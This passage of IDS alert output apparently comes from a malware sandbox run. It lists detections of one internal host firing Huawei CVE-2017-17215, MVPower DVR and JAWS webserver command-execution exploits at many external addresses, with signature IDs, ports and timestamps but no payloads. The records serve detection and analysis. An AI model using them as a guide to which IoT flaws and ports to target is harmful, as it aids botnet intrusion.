Source Port:	60760
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.61.6.231

Timestamp:	06/01/24-18:15:54.253083
SID:	2835222
Source Port:	55144
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 159.201.245.13

Timestamp:	06/01/24-18:15:56.245293
SID:	2025883
Source Port:	50556
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 105.69.202.220

Timestamp:	06/01/24-18:15:55.265307
SID:	2030092
Source Port:	43646
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 37.47.52.166

Timestamp:	06/01/24-18:15:53.241837
SID:	2030092
Source Port:	57174
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 80.152.111.154

Timestamp:	06/01/24-18:15:54.240510
SID:	2025883
Source Port:	41746
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.12.155.54

Timestamp:	06/01/24-18:15:56.306008
SID:	2829579
Source Port:	47108
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 183.59.59.222

Timestamp:	06/01/24-18:15:56.246748
SID:	2025883
Source Port:	37954
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.215.123.203

Timestamp:	06/01/24-18:15:54.251427
SID:	2835222
Source Port:	40714
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.127.231.35

Timestamp:	06/01/24-18:15:56.306077
SID:	2835222
Source Port:	34742
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.249.199.20

Timestamp:	06/01/24-18:15:54.274356
SID:	2829579
Source Port:	46882
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.236.18.225

Timestamp:	06/01/24-18:15:54.275211
SID:	2829579
Source Port:	32910
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.84.49.239

Timestamp:	06/01/24-18:15:56.307179
SID:	2829579
Source Port:	37022
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 72.8.191.18

Timestamp:	06/01/24-18:15:56.246473
SID:	2025883
Source Port:	50956
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.91.191.231

Timestamp:	06/01/24-18:15:56.287840
SID:	2829579
Source Port:	54832
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.141.233.124

Timestamp:	06/01/24-18:15:54.251612
SID:	2835222
Source Port:	38836
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.193.29.187

Timestamp:	06/01/24-18:15:55.261368
SID:	2835222
Source Port:	45138
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.22.210.222

Timestamp:	06/01/24-18:15:54.252324
SID:	2829579
Source Port:	41586
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.144.238.83

Timestamp:	06/01/24-18:15:55.262106
SID:	2835222
Source Port:	38672
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 138.31.177.46

Timestamp:	06/01/24-18:15:55.266817
SID:	2030092
Source Port:	55674
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 50.74.213.181

Timestamp:	06/01/24-18:15:55.265106
SID:	2030092
Source Port:	36350
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 112.160.11.208

Timestamp:	06/01/24-18:15:55.267923
SID:	2030092
Source Port:	55788
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 52.63.251.95

Timestamp:	06/01/24-18:15:56.247051
SID:	2025883
Source Port:	53500
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.209.117.218

Timestamp:	06/01/24-18:15:56.287981
SID:	2829579
Source Port:	39772
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.219.48.227

Timestamp:	06/01/24-18:15:56.305877
SID:	2829579
Source Port:	34924
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 27.184.243.158

Timestamp:	06/01/24-18:15:56.246697
SID:	2030092
Source Port:	55516
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.104.188.254

Timestamp:	06/01/24-18:15:54.251906
SID:	2835222
Source Port:	33272
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 188.86.168.160

Timestamp:	06/01/24-18:15:56.254966
SID:	2030092
Source Port:	58512
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.231.220.22

Timestamp:	06/01/24-18:15:54.275510
SID:	2829579
Source Port:	38772
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.1.219.71

Timestamp:	06/01/24-18:15:54.256278
SID:	2835222
Source Port:	37590
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 43.160.124.104

Timestamp:	06/01/24-18:15:55.267289
SID:	2030092
Source Port:	36068
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 58.54.35.204

Timestamp:	06/01/24-18:15:56.246777
SID:	2025883
Source Port:	42388
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.136.53.187

Timestamp:	06/01/24-18:15:54.273650
SID:	2829579
Source Port:	39250
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.215.229.110

Timestamp:	06/01/24-18:15:54.254035
SID:	2829579
Source Port:	50018
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 154.1.74.103

Timestamp:	06/01/24-18:15:53.240199
SID:	2025883
Source Port:	37886
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.18.253.163

Timestamp:	06/01/24-18:15:54.253703
SID:	2835222
Source Port:	37980
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 81.92.36.148

Timestamp:	06/01/24-18:15:56.224465
SID:	2030092
Source Port:	58842
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.148.143.218

Timestamp:	06/01/24-18:15:54.252700
SID:	2835222
Source Port:	47716
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 119.181.107.102

Timestamp:	06/01/24-18:15:56.245977
SID:	2030092
Source Port:	39866
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 188.170.231.160

Timestamp:	06/01/24-18:15:56.244628
SID:	2030092
Source Port:	53316
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 104.145.249.34

Timestamp:	06/01/24-18:15:55.267325
SID:	2030092
Source Port:	49916
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 186.28.217.117

Timestamp:	06/01/24-18:15:53.238957
SID:	2030092
Source Port:	58070
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.16.225.51

Timestamp:	06/01/24-18:15:55.259243
SID:	2829579
Source Port:	34126
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 41.59.82.228

Timestamp:	06/01/24-18:15:53.239313
SID:	2030092
Source Port:	52812
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 77.156.147.3

Timestamp:	06/01/24-18:15:53.247342
SID:	2030092
Source Port:	36442
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.35.92.138

Timestamp:	06/01/24-18:15:56.306634
SID:	2835222
Source Port:	36014
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.168.190.123

Timestamp:	06/01/24-18:15:56.305747
SID:	2835222
Source Port:	33730
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.244.184.156

Timestamp:	06/01/24-18:15:55.261842
SID:	2829579
Source Port:	59374
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 156.11.139.204

Timestamp:	06/01/24-18:15:55.267862
SID:	2030092
Source Port:	48376
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 2.239.207.135

Timestamp:	06/01/24-18:15:56.254180
SID:	2030092
Source Port:	45154
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 42.99.218.12

Timestamp:	06/01/24-18:15:56.246301
SID:	2025883
Source Port:	48698
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 81.66.87.121

Timestamp:	06/01/24-18:15:54.238269
SID:	2025883
Source Port:	46164
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 222.37.4.5

Timestamp:	06/01/24-18:15:54.238913
SID:	2030092
Source Port:	33194
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 128.197.243.4

Timestamp:	06/01/24-18:15:55.266068
SID:	2030092
Source Port:	41658
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 87.238.251.102

Timestamp:	06/01/24-18:15:56.246060
SID:	2025883
Source Port:	35452
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 124.0.139.31

Timestamp:	06/01/24-18:15:54.238074
SID:	2025883
Source Port:	55982
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 2.243.242.44

Timestamp:	06/01/24-18:15:55.272711
SID:	2030092
Source Port:	60438
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.11.214.49

Timestamp:	06/01/24-18:15:54.274132
SID:	2829579
Source Port:	38926
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.48.200.253

Timestamp:	06/01/24-18:15:55.260018
SID:	2835222
Source Port:	35538
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.151.10.77

Timestamp:	06/01/24-18:15:54.255877
SID:	2835222
Source Port:	44130
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 85.238.207.251

Timestamp:	06/01/24-18:15:54.239397
SID:	2025883
Source Port:	48212
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.172.199.73

Timestamp:	06/01/24-18:15:55.261023
SID:	2835222
Source Port:	57540
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 52.152.172.237

Timestamp:	06/01/24-18:15:55.268272
SID:	2030092
Source Port:	53164
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.4.146.242

Timestamp:	06/01/24-18:15:54.275631
SID:	2835222
Source Port:	59058
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.27.95.98

Timestamp:	06/01/24-18:15:55.263159
SID:	2829579
Source Port:	42834
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.121.144.224

Timestamp:	06/01/24-18:15:56.287929
SID:	2829579
Source Port:	36728
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.235.211.74

Timestamp:	06/01/24-18:15:54.275319
SID:	2835222
Source Port:	40920
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.208.62.80

Timestamp:	06/01/24-18:15:56.307148
SID:	2835222
Source Port:	37048
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 134.80.188.68

Timestamp:	06/01/24-18:15:54.239470
SID:	2025883
Source Port:	47694
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.138.203.250

Timestamp:	06/01/24-18:15:55.262015
SID:	2835222
Source Port:	34410
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 179.122.233.207

Timestamp:	06/01/24-18:15:54.239158
SID:	2030092
Source Port:	48614
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 156.33.185.72

Timestamp:	06/01/24-18:15:54.239895
SID:	2025883
Source Port:	38226
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.159.189.243

Timestamp:	06/01/24-18:15:56.308392
SID:	2835222
Source Port:	60204
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 32.62.55.43

Timestamp:	06/01/24-18:15:54.239435
SID:	2025883
Source Port:	44378
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 108.12.66.222

Timestamp:	06/01/24-18:15:54.240636
SID:	2025883
Source Port:	39258
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.123.221.185

Timestamp:	06/01/24-18:15:54.255917
SID:	2835222
Source Port:	54086
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.126.49.34

Timestamp:	06/01/24-18:15:56.308318
SID:	2835222
Source Port:	45824
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 161.254.82.15

Timestamp:	06/01/24-18:15:55.266407
SID:	2030092
Source Port:	40428
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 42.187.49.118

Timestamp:	06/01/24-18:15:54.239735
SID:	2030092
Source Port:	49570
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.54.77.148

Timestamp:	06/01/24-18:15:54.287413
SID:	2835222
Source Port:	60892
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.174.41.196

Timestamp:	06/01/24-18:15:56.306669
SID:	2835222
Source Port:	52088
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 13.15.216.154

Timestamp:	06/01/24-18:15:54.240104
SID:	2030092
Source Port:	42682
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 54.66.237.186

Timestamp:	06/01/24-18:15:55.267200
SID:	2030092
Source Port:	41196
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 76.115.82.134

Timestamp:	06/01/24-18:15:54.240252
SID:	2025883
Source Port:	50940
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 107.118.12.96

Timestamp:	06/01/24-18:15:54.239857
SID:	2030092
Source Port:	43072
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 24.72.9.82

Timestamp:	06/01/24-18:15:54.238762
SID:	2030092
Source Port:	35140
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.122.101.93

Timestamp:	06/01/24-18:15:54.252020
SID:	2829579
Source Port:	51288
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.39.148.206

Timestamp:	06/01/24-18:15:54.255667
SID:	2829579
Source Port:	57142
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.55.10.217

Timestamp:	06/01/24-18:15:54.254890
SID:	2835222
Source Port:	60608
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.116.27.9

Timestamp:	06/01/24-18:15:56.307937
SID:	2829579
Source Port:	38026
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.238.73.159

Timestamp:	06/01/24-18:15:54.273986
SID:	2829579
Source Port:	48062
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.141.78.170

Timestamp:	06/01/24-18:15:56.308533
SID:	2829579
Source Port:	35508
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 45.9.82.52

Timestamp:	06/01/24-18:15:54.238679
SID:	2030092
Source Port:	59368
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.170.125.222

Timestamp:	06/01/24-18:15:54.255942
SID:	2829579
Source Port:	42316
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.42.136.63

Timestamp:	06/01/24-18:15:54.274260
SID:	2829579
Source Port:	60032
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 121.59.20.215

Timestamp:	06/01/24-18:15:53.246794
SID:	2030092
Source Port:	43646
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.207.173.145

Timestamp:	06/01/24-18:15:55.261750
SID:	2829579
Source Port:	49726
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 17.87.254.21

Timestamp:	06/01/24-18:15:56.224422
SID:	2030092
Source Port:	57186
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 128.10.35.101

Timestamp:	06/01/24-18:15:55.265615
SID:	2030092
Source Port:	46094
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.110.247.233

Timestamp:	06/01/24-18:15:54.255707
SID:	2829579
Source Port:	51746
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 58.199.54.70

Timestamp:	06/01/24-18:15:53.239740
SID:	2030092
Source Port:	60104
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 116.128.48.224

Timestamp:	06/01/24-18:15:54.240320
SID:	2030092
Source Port:	49912
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.244.158.164

Timestamp:	06/01/24-18:15:54.254417
SID:	2835222
Source Port:	33544
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 31.160.243.24

Timestamp:	06/01/24-18:15:55.265997
SID:	2030092
Source Port:	32972
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.58.71.89

Timestamp:	06/01/24-18:15:55.263203
SID:	2829579
Source Port:	50546
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 98.108.66.200

Timestamp:	06/01/24-18:15:53.237843
SID:	2030092
Source Port:	51866
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 118.167.64.175

Timestamp:	06/01/24-18:15:54.239975
SID:	2025883
Source Port:	55520
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 129.193.114.98

Timestamp:	06/01/24-18:15:53.239781
SID:	2030092
Source Port:	50078
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 167.84.216.177

Timestamp:	06/01/24-18:15:55.265049
SID:	2030092
Source Port:	33864
Destination Port:	80
Protocol:	TCP
